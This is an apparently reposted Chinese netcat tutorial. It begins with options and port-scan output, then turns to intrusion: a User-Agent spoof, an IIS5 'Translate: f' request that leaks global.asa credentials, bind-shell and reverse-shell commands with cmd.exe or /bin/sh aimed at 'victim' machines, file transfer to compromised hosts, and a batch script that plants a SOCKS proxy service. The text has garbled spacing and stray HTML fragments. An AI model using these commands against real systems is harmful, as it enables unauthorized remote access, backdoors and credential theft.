• netcat使用指南


    在网络工具中有“瑞士军刀”美誉的NetCat,

      在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。现在就我的一些使用心得和一些帮助文档中,做一些介绍与大家共勉。

      1、了解NC的用法

      命令:nc?C

      技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,Linux含有这个命令(redhat)

      1、基本使用

      想要连接到某处:nc[-options]hostnameport[s][ports]...

      绑定端口等待连接:

      nc-l-pport[-options][hostname][port]

      参数:

      -eprog程序重定向,一旦连接,就执行

      [危险!!]

      -ggatewaysource-routinghoppoint[s],upto8

      -Gnum

      source-routingpointer:4,8,12,...

      -h帮助信息

      -isecs延时的间隔

      -l

      监听模式,用于入站连接

      -n指定数字的IP地址,不能用hostname

      -ofile记录16进制的传输

      -pport本地端口号

      -r任意指定本地及远程端口

      -saddr本地源地址

      -uUDP模式

      -v详细输出――用两个-v可得到更详细的内容

      -wsecstimeout的时间

      -z将输入输出关掉――用于扫描时

      其中端口号可以指定一个或者用lo-hi式的指定范围。

      例如:扫描端口

      tcp扫描

      C: c>nc-v-z-w2192.168.0.801-140

      net

      [192.168.0.80]140(?)

      net[192.168.0.80]139(netbios-ssn)open

      net

      [192.168.0.80]138(?)

      net[192.168.0.80]137(netbios-ns)

      net

      [192.168.0.80]136(?)

      net[192.168.0.80]135(epmap)open

      net

      [192.168.0.80]81(?)open

      net[192.168.0.80]80(http)open

      net

      [192.168.0.80]79(finger)

      net[192.168.0.80]25(smtp)open

      net

      [192.168.0.80]24(?)

      net[192.168.0.80]23(telnet)

      net[192.168.0.80]

      21(FTP)

      udp扫描

      C: c>nc-u-v-z-w2192.168.0.801-140

      net

      [192.168.0.80]140(?)open

      net[192.168.0.80]139(?)open

      net

      [192.168.0.80]138(netbios-dgm)open

      net[192.168.0.80]137(netbios-ns)

      open

      net[192.168.0.80]54(?)open

      net[192.168.0.80]53(domain)open

      net[192.168.0.80]38(?)open

      net[192.168.0.80]37(time)open

      net

      [192.168.0.80]7(echo)open

      二、高级应用

      1.Window用法:

      (1)IE的MIME欺骗

      (
      target=_blank>">(

      打开这个页面,有
      target=_blank>">

      IE6.72,我们的操作系统不是LIUNX,我们不是从
      target=_blank>">

      微软会在它的页面上放
      target=_blank>">

      执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方:我是MSIE5.0;Windows

      NT5.0;.NETCLR1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的

      客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了:

      nc;">[enter]

      GET

      /cgi-bin/level7.plHTTP/1.1[enter]

      Accept:image/gif,image/x-xbitmap,

      application/msWord,*/*[enter]

      Referer
      target=_blank>">

      [enter]

      Accept-Language:zh-cn[enter]

      Accept-Encoding:gzip,deflate

      [enter]

      User-Agent:Mozilla/4.0(compatible;MSIE6.72;Linux8.8.8i986)

      [enter]

      Host:[enter] target=_blank>">[enter]

      Connection:

      Keep-Alive[enter]

      注意,如果出现HTTP400时,说明你输入格式有问题,出现httpd

      200回应时,就给出结果了:

      哈哈!赶快去实现一下(实践是成功之母)

      (2)IIS5“Translate:f”显示代码脆弱点

      Translate:f脆弱点的机制:发送一个畸形的HTTPGET

      请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP

      GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠””附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)

      注意GETglobal.asa后的反斜杠以及Translate:f头信息。

      GET/global.asaHTTP/1.0

      Host:192.168.0.1

      User-Agent:SensePostData

      Content-Type:application/x-www-form-urlencoded

      Translate:f

      [CRLF]

      [CRLF]

      将以上内容保存在一个文本文件中(例如example.txt)

      然后向一个有这个漏洞的服务器发送

      c:>typeexample.txtnc?Cnvv192.168.0.8080

      (UNKNOWN)

      [192.168.0.80]80(?)open

      HTTP/1.1200OK

      Server:Microsoft-IIS/5.0

      Date:Tue,03Dec200208:50:46GMT

      Content-Type:

      application/octet-stream

      Content-Length:2790

      ETag:“0448299fcd6df1:bea”

      Last-Modified:Wed,13Nov200218:50:46GMT

      Accept-Ranges:bytes

      Cache-Control:no-cache

      (“ConnectionText”)=

      “Dsn=ph;UID=myman;Password=mygod)”

      (“LDAPServer”)=

      “LADP://:389”

      (“LDAPUserID”)=“CN=Admin”

      (“LDAPPwd”)

      =“mygod”

      ………

      3.1.端口的刺探:

      nc-vvipport

      RIVER[192.168.0.198]19190(?)open

      //显示是否开放open

      3.2.扫描器

      nc-vv-w5ipport-portport

      nc-vv-zip

      port-portport

      这样扫描会留下大量的痕迹,系统管理员会额外小心

      3.3.后门

      victimmachine://受害者的机器

      nc-l-pport-ecmd.exe

      //win2000

      nc-l-pport-e/bin/sh//unix,linux

      attackermachine:

      //攻击者的机器.

      ncip-pport//连接victim_IP,然后得到一个shell。

      3.4.反向连接

      attackermachine:

      //一般是sql2.exe,远程溢出,webdavx3.exe攻击.

      //或者wollf的反向连接.

      nc-vv-l-pport

      victimmachine:

      nc-ecmd.exeattackerip-pport

      nc-e/bin/s

      attackerip-pport

      或者:

      attackermachine:

      nc-vv-l-pport1/*用于输入*/

      nc-vv-l-pprot2

      /*用于显示*/

      victimmachine:

      ncattacker_ipport1cmd.exencattacker_ip

      port2

      ncattacker_ipport1/bin/shncattacker_ipport2

      139要加参数-s(nc.exe-L-p139-d-ecmd.exe-s

      对方机器IP)

      这样就可以保证nc.exe优先于NETBIOS。

      3.5.传送文件:

      3.5.1attackermachine pathfile.txt/*victimmachine*/

      需要CtrlC退出

      //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入CrlC.

      3.5.2attackermachinevictimmachine//上传命令文件到肉鸡

      nc-vv-l-pport

      >pathfile.txt     /*victimmachine*/需要CtrlC退出

      nc-dvictim_ipport

      可以shell执行

      //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

      结论:可以传输ascii,bin文件.可以传输程序文件.

      问题:连接某个ip后,传送完成后,需要发送CtrlC退出nc.exe.

      或者只有再次连接使用pskill.exe

      杀掉进程.但是是否释放传输文件打开的句柄了?

      3.6端口数据抓包.

      nc-vv-w2-otest.txt;">

      error

      command""unr

      ecognized...

      3.7telnet,自动批处理。★★★★★我要重点推荐的东西就是这个.

      ncvictim_ipportpathfile.cmd /*victimmachine*/显示执行过程.

      nc-vvvictim_ipportpathfile.cmd /*victimmachine*/显示执行过程.

      nc-dvictim_ipport_______________file.cmd________________________

      password

      cd

      %windir%

      echo[]=[%windir%]

      c:

      cd

      mdtest

      cd/d

      %windir%system32

      netstopsksockserver

      snake.exe-configport

      11111

      netstart

      sksockserver

      exit

      _______________file.cmd__END___________________

  • 相关阅读:
    2021找工作总结
    HashMap源码(JDK1.8)-手动注释
    HashMap底层源码分析-手动注释
    面试常问的ArrayQueue底层实现
    SVN使用方法
    async await Task 使用方法
    视觉设备说明
    Java8--lambda表达式与函数式编程
    重磅!微软发布 vscode.dev,把 VS Code 带入浏览器!
    解决Vite-React项目中js使用jsx语法报错的问题
  • 原文地址:https://www.cnblogs.com/jxldjsn/p/5425768.html
Copyright © 2020-2023  润新知